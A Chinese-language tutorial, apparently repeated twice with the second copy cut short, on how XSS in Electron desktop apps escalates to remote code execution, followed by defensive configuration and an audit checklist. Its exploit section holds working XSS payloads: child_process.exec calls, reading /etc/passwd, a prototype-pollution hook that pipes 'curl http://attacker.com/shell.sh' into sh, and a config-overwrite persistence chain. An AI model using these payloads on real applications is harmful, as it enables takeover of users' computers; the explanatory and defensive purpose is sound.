1. 项目概述从XSS到RCE的桌面应用攻防实战如果你是一名前端开发者或者对构建跨平台桌面应用感兴趣那么Electron这个名字你一定不陌生。它让开发者能用熟悉的HTML、CSS和JavaScript来打造桌面软件从VS Code到Slack无数明星产品都基于此。但今天我们不聊开发我们来聊聊安全更具体地说是当Electron应用的安全配置出现疏漏时一个看似普通的跨站脚本漏洞如何演变成能直接控制用户电脑的“核弹”——远程代码执行漏洞。这个场景听起来像是电影情节但在现实中却屡见不鲜。核心问题在于许多开发者将Electron简单地视为一个“带壳的浏览器”却忽略了它本质上是一个集成了Node.js运行时的本地应用程序。这意味着渲染进程中的JavaScript代码在特定配置下可以拥有与本地Node.js环境同等级别的权限比如直接执行系统命令、读写任意文件。当这种能力与一个Web前端常见的XSS漏洞相遇攻击路径就打通了。我遇到过不少案例一些内部工具或初创公司的MVP产品为了快速实现功能比如调用本地文件系统API往往会选择降低安全门槛。这就像为了装修方便把自家大门的钥匙直接放在了门垫下面。攻击者一旦通过XSS拿到了这把“钥匙”整个系统就门户大开了。本文将带你深入拆解这个过程从漏洞原理、环境侦察、利用链构造到实际攻击演示让你不仅明白攻击是如何发生的更能从防御者的角度深刻理解如何构建一个坚固的Electron应用。2. 核心原理Electron的安全模型与致命配置要理解攻击如何成立我们必须先搞清楚Electron应用的基础架构和安全边界。一个典型的Electron应用包含两个核心部分主进程和渲染器进程。2.1 主进程与渲染器进程的权限差异主进程运行着main.js脚本它通过创建BrowserWindow实例来展示图形界面。每个BrowserWindow实例都是一个独立的渲染器进程负责加载并显示Web页面HTML、JS、CSS。关键在于权限划分主进程拥有完整的Node.js API访问权限可以执行任意系统操作。渲染器进程默认情况下它就像一个普通的Chrome浏览器标签页运行在沙箱中无法直接访问Node.js模块或操作系统。那么渲染器进程如何与系统交互呢答案是通过预加载脚本和进程间通信。预加载脚本在主进程的上下文中执行拥有Node.js权限它可以通过contextBridge向渲染器暴露有限的、安全的API。这是Electron官方推荐的、安全的数据交换方式。2.2 两个关键的安全配置选项在创建BrowserWindow时webPreferences选项中的两个设置决定了渲染器进程的安全等级nodeIntegration(默认值:false)当设置为true时渲染器进程中的JavaScript可以直接使用require()等Node.js API。这意味着网页中的脚本包括你通过XSS注入的脚本可以像Node.js脚本一样运行这是极其危险的。现代最佳实践是永远将其设为false。除非你有非常充分的理由并且完全清楚所有代码来源。contextIsolation(默认值:true 自Electron 12起)这是更关键、也更容易被误解的配置。当启用时true预加载脚本和渲染器网页脚本运行在**不同的JavaScript上下文V8隔离实例**中。它们拥有独立的全局对象如Array.prototype,JSON。当它被禁用false时预加载脚本和网页脚本共享同一个全局上下文。这意味着网页脚本可以修改预加载脚本定义的函数、对象甚至可以访问预加载脚本中定义的、本不打算暴露给网页的变量和函数。2.3 漏洞形成的核心链条攻击链的成立通常依赖于以下配置组合其危险性依次递增nodeIntegration: true这是“地狱之门”直接敞开。任何XSS都可以直接执行require(child_process).exec()。如今这种配置已较少见但遗留项目或快速原型中可能还存在。nodeIntegration: false但contextIsolation: false这是更常见、更隐蔽的高危场景。虽然网页脚本不能直接require但如果预加载脚本中暴露了某些“危险”的API或者存在可以被覆盖的全局函数XSS就可以通过操作这些接口间接实现RCE。不安全的contextBridge暴露即使contextIsolation: true如果开发者在预加载脚本中通过contextBridge.exposeInMainWorld暴露了过于强大或未经净化的API例如一个可以接收任意字符串并执行的文件写入API也可能被精心构造的XSS载荷所利用。注意许多开发者错误地认为只要设置了nodeIntegration: false就安全了。实际上contextIsolation: false是让许多安全机制形同虚设的元凶。它破坏了Electron为隔离本地代码和远程代码所设计的最重要屏障。3. 攻击前侦察如何识别脆弱的Electron应用在实际测试中我们首先需要判断目标桌面应用是否是Electron构建的以及其安全配置如何。这里有几个实用的方法。3.1 应用指纹识别进程名在任务管理器或系统监控工具中Electron应用的主进程名通常包含“Electron”子进程渲染器可能显示为应用名。安装目录结构查看应用安装目录通常会有resources文件夹里面可能包含一个app.asar文件。.asar是Electron特有的归档格式用于打包应用代码。开发者工具大部分Electron应用支持通过快捷键CtrlShiftIWindows/Linux或CmdOptionImacOS打开Chrome开发者工具。如果能打开这就是一个绝佳的侦察入口。3.2 提取与审计源代码核心目标获取应用的webPreferences配置。方法一解包.asar文件Electron应用的业务代码通常打包在resources/app.asar中。我们可以使用asar工具解包。# 安装asar工具 npm install -g asar # 解包应用 asar extract /path/to/app/resources/app.asar ./unpacked-app解包后重点检查package.json查找主入口文件通常是main.js或index.js。主进程文件如main.js搜索new BrowserWindow仔细查看webPreferences对象。preload.js文件查看预加载脚本具体暴露了哪些API给渲染器。方法二在运行时检查如果开发者工具可用直接在渲染器的控制台Console中输入// 尝试检查是否有全局暴露的Electron或Node对象 typeof require; typeof process; window.electron; // 如果contextIsolation为false且预加载脚本定义了全局变量这里可能能访问到 // 例如尝试枚举window对象的属性寻找可疑的API for (let key in window) { console.log(key); }3.3 关键配置点分析在主进程代码中找到类似下面的代码块const mainWindow new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true, // 危险信号 contextIsolation: false, // 危险信号 preload: path.join(__dirname, preload.js), // 其他配置... } });如果看到nodeIntegration: true或contextIsolation: false那么这个应用就存在严重的安全隐患。接下来就需要仔细分析preload.js的内容。4. 漏洞利用链的构造与实践假设我们通过代码审计或运行时探测发现目标应用存在contextIsolation: false的配置并且找到了一个存储型XSS漏洞例如在聊天软件的消息中邮件客户端的邮件内容中。现在我们来构造从XSS到RCE的利用链。4.1 场景一劫持预加载脚本中的暴露函数这是最经典的利用方式。查看preload.js我们可能会发现这样的代码// preload.js - 不安全的示例 const { shell } require(electron); const fs require(fs); // 危险操作向window对象直接附加高权限函数 window.electronShell shell; window.readAnyFile (path) fs.readFileSync(path, utf-8); // 或者通过一个“安全”的包装器但逻辑有缺陷 window.safeAPI { openPath: (userInput) { // 本意是只打开特定目录但未做严格校验 if (userInput.startsWith(/allowed/path/)) { shell.openPath(userInput); } } };由于contextIsolation: false我们在网页中通过XSS注入的脚本可以直接覆盖或调用这些函数。!-- XSS 载荷示例 -- script // 直接调用暴露的危险函数 window.readAnyFile(/etc/passwd); // 尝试读取敏感文件 // 或者覆盖safeAPI.openPath的逻辑 window.safeAPI.openPath (path) { // 现在它可以执行任何命令了 const { exec } require(child_process); exec(path); // 如果path是系统命令例如calc.exe或/bin/sh -c ... }; // 然后触发应用本身去调用这个被覆盖的函数 /script4.2 场景二污染原型链实现RCE这是一种更高级、更隐蔽的技巧即使预加载脚本没有直接暴露危险的函数也可能生效。当contextIsolation: false时网页脚本和预加载脚本共享Object.prototype、Function.prototype等基础原型。假设预加载脚本中有这样一段代码// preload.js const { exec } require(child_process); function executeSafeCommand(cmd, callback) { // 假设这里有一个允许列表机制 const allowedCommands [ls, pwd]; if (allowedCommands.includes(cmd)) { exec(cmd, callback); } else { callback(new Error(Command not allowed), null, null); } } // 将函数暴露给渲染器 contextBridge.exposeInMainWorld(secureAPI, { runCommand: executeSafeCommand });注意这里使用了contextBridge并且看起来有命令白名单。但是如果contextIsolation被错误地设为false那么contextBridge的隔离保护就失效了。攻击者可以通过污染Function.prototype.call或apply来劫持函数执行流程。!-- XSS 载荷 -- script // 保存原始的call方法 const originalCall Function.prototype.call; // 污染call方法 Function.prototype.call function(thisArg, ...args) { // 检查被调用的函数是不是我们想劫持的exec if (this.name exec || this.toString().includes(child_process)) { // 替换要执行的命令 console.log(劫持exec调用); args[0] 恶意命令如curl http://attacker.com/shell.sh | sh; // 替换命令参数 } // 用原始方法继续执行 return originalCall.apply(this, [thisArg, ...args]); }; // 现在当应用内部调用secureAPI.runCommand(ls, callback)时 // 内部的exec函数被我们污染后的call方法拦截命令被替换。 // 需要触发应用执行一次命令例如通过UI交互或等待定时任务。 /script这种原型污染攻击难度较高需要对目标代码的执行流有较深的理解但在复杂的客户端逻辑中确有可能实现。4.3 场景三利用已暴露的Node.js内置模块有时开发者为了方便会在预加载脚本中直接暴露整个require函数或其变体。// preload.js - 极其危险的模式 window.require require; // 或 window.electronRequire require;这等同于将整个Node.js环境交给了网页。利用方式就变得非常简单直接img srcx onerrorwindow.require(child_process).exec(open /Applications/Calculator.app);或者如果暴露的是fs模块可以用于写入启动脚本或SSH密钥实现持久化。5. 实战演练构建一个完整的PoC让我们模拟一个完整的攻击过程。假设我们有一个名为“SafeNote”的Electron便签应用它有一个漏洞便签内容在渲染时未经过滤导致存储型XSS并且其webPreferences配置为{ nodeIntegration: false, contextIsolation: false }。步骤1信息收集解包SafeNote.app/Contents/Resources/app.asar。发现main.js中创建窗口时未启用上下文隔离。发现preload.js中包含以下代码const { shell, clipboard } require(electron); const fs require(fs).promises; // 为了方便暴露了一些功能 window.desktop { openExternal: (url) shell.openExternal(url), readConfig: async () { const data await fs.readFile(./config.json, utf-8); return JSON.parse(data); }, writeConfig: async (config) { await fs.writeFile(./config.json, JSON.stringify(config)); } };步骤2分析利用点window.desktop.writeConfig函数可以写入config.json文件。如果这个应用在启动时会加载并执行config.json中的某些配置或者该文件位于一个可执行路径我们就有可能写入恶意代码。步骤3构造利用载荷我们的目标是让应用在启动时执行我们的命令。假设应用支持从配置中加载一个插件脚本。我们构造一个XSS载荷覆盖writeConfig函数使其写入一个包含恶意命令的配置。!-- 这是我们将要注入到便签内容中的HTML/JS -- script // 首先备份原始函数以防覆盖失败 const originalWrite window.desktop.writeConfig; // 定义我们的恶意配置 const maliciousConfig { startupPlugin: node -e \require(child_process).exec(open /System/Applications/Calculator.app, (){})\ }; // 尝试直接调用如果应用逻辑允许 originalWrite(maliciousConfig).then(() { alert(配置已更新重启应用后生效); }).catch(err { console.error(写入失败:, err); // 备用方案如果直接调用不行尝试覆盖函数等待应用自身触发调用 window.desktop.writeConfig async (config) { // 总是写入我们的恶意配置 await fs.writeFile(./config.json, JSON.stringify(maliciousConfig)); return Promise.resolve(); }; }); /script步骤4实现RCE当用户下次启动“SafeNote”应用时它会读取被我们篡改的config.json并执行其中startupPlugin指定的Node.js代码从而弹出计算器此处仅为演示实际攻击可能是下载并运行木马。实操心得在实际渗透测试中这种“写入文件重启触发”的利用链可能比较长。更直接的利用是寻找暴露的shell.openExternal或shell.openPath并尝试通过参数注入来执行命令。例如如果应用有一个功能是打开用户指定的本地文件且路径可控可以尝试传入file:///C:/Windows/System32/calc.exe或利用URL Scheme和特殊字符进行绕过。6. 防御方案与安全开发指南理解了攻击原理防御的思路就清晰了。核心原则是最小权限原则和深度防御。6.1 强制启用安全配置这是最基本、最重要的防线。在你的main.js中为所有BrowserWindow实例使用以下配置const mainWindow new BrowserWindow({ webPreferences: { nodeIntegration: false, // 必须为false contextIsolation: true, // 必须为true sandbox: true, // 如果可能启用沙箱模式 preload: path.join(__dirname, preload.js) // 使用预加载脚本进行安全通信 } });自Electron 20及以上版本contextIsolation和sandbox的默认值更安全但仍建议显式声明。6.2 安全地使用预加载脚本和Context Bridge预加载脚本是你唯一可以信任的、连接Node.js和渲染器的桥梁。必须安全地使用它。绝不暴露require或process等全局对象。使用contextBridge.exposeInMainWorld暴露最小功能集的API。每个API都应该是具体的、功能明确的。在暴露的API中进行严格的输入验证和输出编码。假设所有从渲染器传来的数据都是不可信的。安全示例// preload.js const { contextBridge, ipcRenderer } require(electron); const fs require(fs).promises; const path require(path); // 一个安全的API暴露示例 contextBridge.exposeInMainWorld(electronAPI, { // 只暴露一个读取特定、安全目录下文件的方法 readUserFile: async (fileName) { // 1. 验证输入只允许字母数字和短横线 if (!/^[a-zA-Z0-9-]\.json$/.test(fileName)) { throw new Error(Invalid filename); } // 2. 路径限制将访问限制在用户数据子目录内 const safePath path.join(__dirname, user-data, fileName); // 3. 路径解析防护确保最终路径没有跳出预定目录 if (!safePath.startsWith(path.join(__dirname, user-data))) { throw new Error(Path traversal attempt blocked); } const data await fs.readFile(safePath, utf-8); // 4. 净化输出确保读取的是合法JSON return JSON.parse(data); }, // 通过IPC调用主进程执行高危操作而不是在渲染器直接执行 showOpenDialog: (options) ipcRenderer.invoke(dialog:openFile, options) }); // main.js 中处理IPC调用 ipcMain.handle(dialog:openFile, async (event, options) { // 主进程可以执行打开对话框等操作并返回结果 const { dialog } require(electron); return await dialog.showOpenDialog(options); });6.3 实施内容安全策略在加载的HTML中使用meta标签或通过HTTP头设置严格的CSP可以有效缓解XSS的影响即使漏洞存在也能阻止内联脚本执行。meta http-equivContent-Security-Policy contentdefault-src self; script-src self;在Electron中你还可以通过session来设置全局CSP。6.4 其他安全加固措施禁用webSecurity需极其谨慎除非绝对必要例如处理本地file://协议的特殊需求否则不要设置webPreferences.webSecurity: false。这会禁用同源策略等关键安全特性。验证shell.openExternal的URL如果你使用shell.openExternal打开链接务必对URL进行严格验证防止通过javascript:、file://等危险协议或通过特殊构造的URL进行利用。定期更新Electron版本使用最新的稳定版Electron以获取安全补丁和更强的默认安全设置。进行专业的安全审计对于处理敏感数据或拥有大量用户的应用考虑聘请安全专家进行代码审计和渗透测试。7. 排查清单与常见问题在开发或审计Electron应用时你可以使用下面这个清单来快速排查风险检查项安全状态风险等级修复建议nodeIntegration是否设为false是/否高危必须设为false。contextIsolation是否设为true是/否高危必须设为true。sandbox是否启用是/否中建议设为true除非功能不兼容。预加载脚本是否直接暴露了require、process是/否高危移除直接暴露通过contextBridge暴露最小化API。contextBridge暴露的API是否做了输入验证是/否中高对所有输入进行严格的白名单验证。是否使用了shell.openExternal且未验证URL是/否中高验证URL协议应只允许http://、https://并过滤危险协议。应用是否加载了远程内容是/否中如果必须加载确保源可信并启用CSP和沙箱。是否禁用了webSecurity是/否高危尽量避免禁用。如必须需全面评估风险。Electron版本是否过旧是/否中升级到最新稳定版。常见问题Q我们的应用需要访问本地文件系统必须用nodeIntegration: true吗A绝对不需要。正确的做法是在预加载脚本中通过contextBridge暴露几个安全的、功能具体的API如readAppDataFile,writeUserConfig在这些API内部使用Node.js的fs模块。渲染器通过IPC调用这些API而不是直接获得完整的fs模块。Q启用contextIsolation: true后之前写在渲染进程里直接调用Node模块的代码都报错了怎么办A这是预期行为也是安全加固的必要步骤。你需要重构代码将需要Node.js能力的逻辑移到预加载脚本中。在预加载脚本中用contextBridge.exposeInMainWorld定义清晰的异步接口。在渲染器进程中改为调用这些暴露出来的接口。Q如何测试自己的应用是否存在这类漏洞A可以尝试以下方法代码审计检查webPreferences配置和预加载脚本。运行时测试在开发者工具控制台尝试访问require、process、window上的可疑属性。使用检测工具如electronegativity等开源工具可以自动化检测常见的Electron安全反模式。Q如果发现了contextIsolation: false但预加载脚本看起来没暴露危险函数是否就安全A不安全。因为共享的全局上下文意味着你的网页JavaScript可以修改任何全局对象。攻击者可能通过原型污染、覆盖内置函数等方式进行利用。只要这个配置存在风险就始终存在。最根本的修复方法就是将其设置为true并重构代码以适应隔离上下文。安全从来不是一劳永逸的事情尤其是对于Electron这样融合了Web和本地特性的技术栈。作为开发者理解其安全模型严格遵守安全配置规范是交付可信赖应用的基础。而作为安全研究者或渗透测试人员掌握这些攻击链的构造方法则能更有效地发现潜在风险推动整体安全水平的提升。在桌面应用的世界里一扇未锁好的“窗户”可能带来的就是整个系统的沦陷。
Electron应用安全:从XSS到RCE的漏洞原理与防御实战
发布时间:2026/7/10 3:52:54
1. 项目概述从XSS到RCE的桌面应用攻防实战如果你是一名前端开发者或者对构建跨平台桌面应用感兴趣那么Electron这个名字你一定不陌生。它让开发者能用熟悉的HTML、CSS和JavaScript来打造桌面软件从VS Code到Slack无数明星产品都基于此。但今天我们不聊开发我们来聊聊安全更具体地说是当Electron应用的安全配置出现疏漏时一个看似普通的跨站脚本漏洞如何演变成能直接控制用户电脑的“核弹”——远程代码执行漏洞。这个场景听起来像是电影情节但在现实中却屡见不鲜。核心问题在于许多开发者将Electron简单地视为一个“带壳的浏览器”却忽略了它本质上是一个集成了Node.js运行时的本地应用程序。这意味着渲染进程中的JavaScript代码在特定配置下可以拥有与本地Node.js环境同等级别的权限比如直接执行系统命令、读写任意文件。当这种能力与一个Web前端常见的XSS漏洞相遇攻击路径就打通了。我遇到过不少案例一些内部工具或初创公司的MVP产品为了快速实现功能比如调用本地文件系统API往往会选择降低安全门槛。这就像为了装修方便把自家大门的钥匙直接放在了门垫下面。攻击者一旦通过XSS拿到了这把“钥匙”整个系统就门户大开了。本文将带你深入拆解这个过程从漏洞原理、环境侦察、利用链构造到实际攻击演示让你不仅明白攻击是如何发生的更能从防御者的角度深刻理解如何构建一个坚固的Electron应用。2. 核心原理Electron的安全模型与致命配置要理解攻击如何成立我们必须先搞清楚Electron应用的基础架构和安全边界。一个典型的Electron应用包含两个核心部分主进程和渲染器进程。2.1 主进程与渲染器进程的权限差异主进程运行着main.js脚本它通过创建BrowserWindow实例来展示图形界面。每个BrowserWindow实例都是一个独立的渲染器进程负责加载并显示Web页面HTML、JS、CSS。关键在于权限划分主进程拥有完整的Node.js API访问权限可以执行任意系统操作。渲染器进程默认情况下它就像一个普通的Chrome浏览器标签页运行在沙箱中无法直接访问Node.js模块或操作系统。那么渲染器进程如何与系统交互呢答案是通过预加载脚本和进程间通信。预加载脚本在主进程的上下文中执行拥有Node.js权限它可以通过contextBridge向渲染器暴露有限的、安全的API。这是Electron官方推荐的、安全的数据交换方式。2.2 两个关键的安全配置选项在创建BrowserWindow时webPreferences选项中的两个设置决定了渲染器进程的安全等级nodeIntegration(默认值:false)当设置为true时渲染器进程中的JavaScript可以直接使用require()等Node.js API。这意味着网页中的脚本包括你通过XSS注入的脚本可以像Node.js脚本一样运行这是极其危险的。现代最佳实践是永远将其设为false。除非你有非常充分的理由并且完全清楚所有代码来源。contextIsolation(默认值:true 自Electron 12起)这是更关键、也更容易被误解的配置。当启用时true预加载脚本和渲染器网页脚本运行在**不同的JavaScript上下文V8隔离实例**中。它们拥有独立的全局对象如Array.prototype,JSON。当它被禁用false时预加载脚本和网页脚本共享同一个全局上下文。这意味着网页脚本可以修改预加载脚本定义的函数、对象甚至可以访问预加载脚本中定义的、本不打算暴露给网页的变量和函数。2.3 漏洞形成的核心链条攻击链的成立通常依赖于以下配置组合其危险性依次递增nodeIntegration: true这是“地狱之门”直接敞开。任何XSS都可以直接执行require(child_process).exec()。如今这种配置已较少见但遗留项目或快速原型中可能还存在。nodeIntegration: false但contextIsolation: false这是更常见、更隐蔽的高危场景。虽然网页脚本不能直接require但如果预加载脚本中暴露了某些“危险”的API或者存在可以被覆盖的全局函数XSS就可以通过操作这些接口间接实现RCE。不安全的contextBridge暴露即使contextIsolation: true如果开发者在预加载脚本中通过contextBridge.exposeInMainWorld暴露了过于强大或未经净化的API例如一个可以接收任意字符串并执行的文件写入API也可能被精心构造的XSS载荷所利用。注意许多开发者错误地认为只要设置了nodeIntegration: false就安全了。实际上contextIsolation: false是让许多安全机制形同虚设的元凶。它破坏了Electron为隔离本地代码和远程代码所设计的最重要屏障。3. 攻击前侦察如何识别脆弱的Electron应用在实际测试中我们首先需要判断目标桌面应用是否是Electron构建的以及其安全配置如何。这里有几个实用的方法。3.1 应用指纹识别进程名在任务管理器或系统监控工具中Electron应用的主进程名通常包含“Electron”子进程渲染器可能显示为应用名。安装目录结构查看应用安装目录通常会有resources文件夹里面可能包含一个app.asar文件。.asar是Electron特有的归档格式用于打包应用代码。开发者工具大部分Electron应用支持通过快捷键CtrlShiftIWindows/Linux或CmdOptionImacOS打开Chrome开发者工具。如果能打开这就是一个绝佳的侦察入口。3.2 提取与审计源代码核心目标获取应用的webPreferences配置。方法一解包.asar文件Electron应用的业务代码通常打包在resources/app.asar中。我们可以使用asar工具解包。# 安装asar工具 npm install -g asar # 解包应用 asar extract /path/to/app/resources/app.asar ./unpacked-app解包后重点检查package.json查找主入口文件通常是main.js或index.js。主进程文件如main.js搜索new BrowserWindow仔细查看webPreferences对象。preload.js文件查看预加载脚本具体暴露了哪些API给渲染器。方法二在运行时检查如果开发者工具可用直接在渲染器的控制台Console中输入// 尝试检查是否有全局暴露的Electron或Node对象 typeof require; typeof process; window.electron; // 如果contextIsolation为false且预加载脚本定义了全局变量这里可能能访问到 // 例如尝试枚举window对象的属性寻找可疑的API for (let key in window) { console.log(key); }3.3 关键配置点分析在主进程代码中找到类似下面的代码块const mainWindow new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true, // 危险信号 contextIsolation: false, // 危险信号 preload: path.join(__dirname, preload.js), // 其他配置... } });如果看到nodeIntegration: true或contextIsolation: false那么这个应用就存在严重的安全隐患。接下来就需要仔细分析preload.js的内容。4. 漏洞利用链的构造与实践假设我们通过代码审计或运行时探测发现目标应用存在contextIsolation: false的配置并且找到了一个存储型XSS漏洞例如在聊天软件的消息中邮件客户端的邮件内容中。现在我们来构造从XSS到RCE的利用链。4.1 场景一劫持预加载脚本中的暴露函数这是最经典的利用方式。查看preload.js我们可能会发现这样的代码// preload.js - 不安全的示例 const { shell } require(electron); const fs require(fs); // 危险操作向window对象直接附加高权限函数 window.electronShell shell; window.readAnyFile (path) fs.readFileSync(path, utf-8); // 或者通过一个“安全”的包装器但逻辑有缺陷 window.safeAPI { openPath: (userInput) { // 本意是只打开特定目录但未做严格校验 if (userInput.startsWith(/allowed/path/)) { shell.openPath(userInput); } } };由于contextIsolation: false我们在网页中通过XSS注入的脚本可以直接覆盖或调用这些函数。!-- XSS 载荷示例 -- script // 直接调用暴露的危险函数 window.readAnyFile(/etc/passwd); // 尝试读取敏感文件 // 或者覆盖safeAPI.openPath的逻辑 window.safeAPI.openPath (path) { // 现在它可以执行任何命令了 const { exec } require(child_process); exec(path); // 如果path是系统命令例如calc.exe或/bin/sh -c ... }; // 然后触发应用本身去调用这个被覆盖的函数 /script4.2 场景二污染原型链实现RCE这是一种更高级、更隐蔽的技巧即使预加载脚本没有直接暴露危险的函数也可能生效。当contextIsolation: false时网页脚本和预加载脚本共享Object.prototype、Function.prototype等基础原型。假设预加载脚本中有这样一段代码// preload.js const { exec } require(child_process); function executeSafeCommand(cmd, callback) { // 假设这里有一个允许列表机制 const allowedCommands [ls, pwd]; if (allowedCommands.includes(cmd)) { exec(cmd, callback); } else { callback(new Error(Command not allowed), null, null); } } // 将函数暴露给渲染器 contextBridge.exposeInMainWorld(secureAPI, { runCommand: executeSafeCommand });注意这里使用了contextBridge并且看起来有命令白名单。但是如果contextIsolation被错误地设为false那么contextBridge的隔离保护就失效了。攻击者可以通过污染Function.prototype.call或apply来劫持函数执行流程。!-- XSS 载荷 -- script // 保存原始的call方法 const originalCall Function.prototype.call; // 污染call方法 Function.prototype.call function(thisArg, ...args) { // 检查被调用的函数是不是我们想劫持的exec if (this.name exec || this.toString().includes(child_process)) { // 替换要执行的命令 console.log(劫持exec调用); args[0] 恶意命令如curl http://attacker.com/shell.sh | sh; // 替换命令参数 } // 用原始方法继续执行 return originalCall.apply(this, [thisArg, ...args]); }; // 现在当应用内部调用secureAPI.runCommand(ls, callback)时 // 内部的exec函数被我们污染后的call方法拦截命令被替换。 // 需要触发应用执行一次命令例如通过UI交互或等待定时任务。 /script这种原型污染攻击难度较高需要对目标代码的执行流有较深的理解但在复杂的客户端逻辑中确有可能实现。4.3 场景三利用已暴露的Node.js内置模块有时开发者为了方便会在预加载脚本中直接暴露整个require函数或其变体。// preload.js - 极其危险的模式 window.require require; // 或 window.electronRequire require;这等同于将整个Node.js环境交给了网页。利用方式就变得非常简单直接img srcx onerrorwindow.require(child_process).exec(open /Applications/Calculator.app);或者如果暴露的是fs模块可以用于写入启动脚本或SSH密钥实现持久化。5. 实战演练构建一个完整的PoC让我们模拟一个完整的攻击过程。假设我们有一个名为“SafeNote”的Electron便签应用它有一个漏洞便签内容在渲染时未经过滤导致存储型XSS并且其webPreferences配置为{ nodeIntegration: false, contextIsolation: false }。步骤1信息收集解包SafeNote.app/Contents/Resources/app.asar。发现main.js中创建窗口时未启用上下文隔离。发现preload.js中包含以下代码const { shell, clipboard } require(electron); const fs require(fs).promises; // 为了方便暴露了一些功能 window.desktop { openExternal: (url) shell.openExternal(url), readConfig: async () { const data await fs.readFile(./config.json, utf-8); return JSON.parse(data); }, writeConfig: async (config) { await fs.writeFile(./config.json, JSON.stringify(config)); } };步骤2分析利用点window.desktop.writeConfig函数可以写入config.json文件。如果这个应用在启动时会加载并执行config.json中的某些配置或者该文件位于一个可执行路径我们就有可能写入恶意代码。步骤3构造利用载荷我们的目标是让应用在启动时执行我们的命令。假设应用支持从配置中加载一个插件脚本。我们构造一个XSS载荷覆盖writeConfig函数使其写入一个包含恶意命令的配置。!-- 这是我们将要注入到便签内容中的HTML/JS -- script // 首先备份原始函数以防覆盖失败 const originalWrite window.desktop.writeConfig; // 定义我们的恶意配置 const maliciousConfig { startupPlugin: node -e \require(child_process).exec(open /System/Applications/Calculator.app, (){})\ }; // 尝试直接调用如果应用逻辑允许 originalWrite(maliciousConfig).then(() { alert(配置已更新重启应用后生效); }).catch(err { console.error(写入失败:, err); // 备用方案如果直接调用不行尝试覆盖函数等待应用自身触发调用 window.desktop.writeConfig async (config) { // 总是写入我们的恶意配置 await fs.writeFile(./config.json, JSON.stringify(maliciousConfig)); return Promise.resolve(); }; }); /script步骤4实现RCE当用户下次启动“SafeNote”应用时它会读取被我们篡改的config.json并执行其中startupPlugin指定的Node.js代码从而弹出计算器此处仅为演示实际攻击可能是下载并运行木马。实操心得在实际渗透测试中这种“写入文件重启触发”的利用链可能比较长。更直接的利用是寻找暴露的shell.openExternal或shell.openPath并尝试通过参数注入来执行命令。例如如果应用有一个功能是打开用户指定的本地文件且路径可控可以尝试传入file:///C:/Windows/System32/calc.exe或利用URL Scheme和特殊字符进行绕过。6. 防御方案与安全开发指南理解了攻击原理防御的思路就清晰了。核心原则是最小权限原则和深度防御。6.1 强制启用安全配置这是最基本、最重要的防线。在你的main.js中为所有BrowserWindow实例使用以下配置const mainWindow new BrowserWindow({ webPreferences: { nodeIntegration: false, // 必须为false contextIsolation: true, // 必须为true sandbox: true, // 如果可能启用沙箱模式 preload: path.join(__dirname, preload.js) // 使用预加载脚本进行安全通信 } });自Electron 20及以上版本contextIsolation和sandbox的默认值更安全但仍建议显式声明。6.2 安全地使用预加载脚本和Context Bridge预加载脚本是你唯一可以信任的、连接Node.js和渲染器的桥梁。必须安全地使用它。绝不暴露require或process等全局对象。使用contextBridge.exposeInMainWorld暴露最小功能集的API。每个API都应该是具体的、功能明确的。在暴露的API中进行严格的输入验证和输出编码。假设所有从渲染器传来的数据都是不可信的。安全示例// preload.js const { contextBridge, ipcRenderer } require(electron); const fs require(fs).promises; const path require(path); // 一个安全的API暴露示例 contextBridge.exposeInMainWorld(electronAPI, { // 只暴露一个读取特定、安全目录下文件的方法 readUserFile: async (fileName) { // 1. 验证输入只允许字母数字和短横线 if (!/^[a-zA-Z0-9-]\.json$/.test(fileName)) { throw new Error(Invalid filename); } // 2. 路径限制将访问限制在用户数据子目录内 const safePath path.join(__dirname, user-data, fileName); // 3. 路径解析防护确保最终路径没有跳出预定目录 if (!safePath.startsWith(path.join(__dirname, user-data))) { throw new Error(Path traversal attempt blocked); } const data await fs.readFile(safePath, utf-8); // 4. 净化输出确保读取的是合法JSON return JSON.parse(data); }, // 通过IPC调用主进程执行高危操作而不是在渲染器直接执行 showOpenDialog: (options) ipcRenderer.invoke(dialog:openFile, options) }); // main.js 中处理IPC调用 ipcMain.handle(dialog:openFile, async (event, options) { // 主进程可以执行打开对话框等操作并返回结果 const { dialog } require(electron); return await dialog.showOpenDialog(options); });6.3 实施内容安全策略在加载的HTML中使用meta标签或通过HTTP头设置严格的CSP可以有效缓解XSS的影响即使漏洞存在也能阻止内联脚本执行。meta http-equivContent-Security-Policy contentdefault-src self; script-src self;在Electron中你还可以通过session来设置全局CSP。6.4 其他安全加固措施禁用webSecurity需极其谨慎除非绝对必要例如处理本地file://协议的特殊需求否则不要设置webPreferences.webSecurity: false。这会禁用同源策略等关键安全特性。验证shell.openExternal的URL如果你使用shell.openExternal打开链接务必对URL进行严格验证防止通过javascript:、file://等危险协议或通过特殊构造的URL进行利用。定期更新Electron版本使用最新的稳定版Electron以获取安全补丁和更强的默认安全设置。进行专业的安全审计对于处理敏感数据或拥有大量用户的应用考虑聘请安全专家进行代码审计和渗透测试。7. 排查清单与常见问题在开发或审计Electron应用时你可以使用下面这个清单来快速排查风险检查项安全状态风险等级修复建议nodeIntegration是否设为false是/否高危必须设为false。contextIsolation是否设为true是/否高危必须设为true。sandbox是否启用是/否中建议设为true除非功能不兼容。预加载脚本是否直接暴露了require、process是/否高危移除直接暴露通过contextBridge暴露最小化API。contextBridge暴露的API是否做了输入验证是/否中高对所有输入进行严格的白名单验证。是否使用了shell.openExternal且未验证URL是/否中高验证URL协议应只允许http://、https://并过滤危险协议。应用是否加载了远程内容是/否中如果必须加载确保源可信并启用CSP和沙箱。是否禁用了webSecurity是/否高危尽量避免禁用。如必须需全面评估风险。Electron版本是否过旧是/否中升级到最新稳定版。常见问题Q我们的应用需要访问本地文件系统必须用nodeIntegration: true吗A绝对不需要。正确的做法是在预加载脚本中通过contextBridge暴露几个安全的、功能具体的API如readAppDataFile,writeUserConfig在这些API内部使用Node.js的fs模块。渲染器通过IPC调用这些API而不是直接获得完整的fs模块。Q启用contextIsolation: true后之前写在渲染进程里直接调用Node模块的代码都报错了怎么办A这是预期行为也是安全加固的必要步骤。你需要重构代码将需要Node.js能力的逻辑移到预加载脚本中。在预加载脚本中用contextBridge.exposeInMainWorld定义清晰的异步接口。在渲染器进程中改为调用这些暴露出来的接口。Q如何测试自己的应用是否存在这类漏洞A可以尝试以下方法代码审计检查webPreferences配置和预加载脚本。运行时测试在开发者工具控制台尝试访问require、process、window上的可疑属性。使用检测工具如electronegativity等开源工具可以自动化检测常见的Electron安全反模式。Q如果发现了contextIsolation: 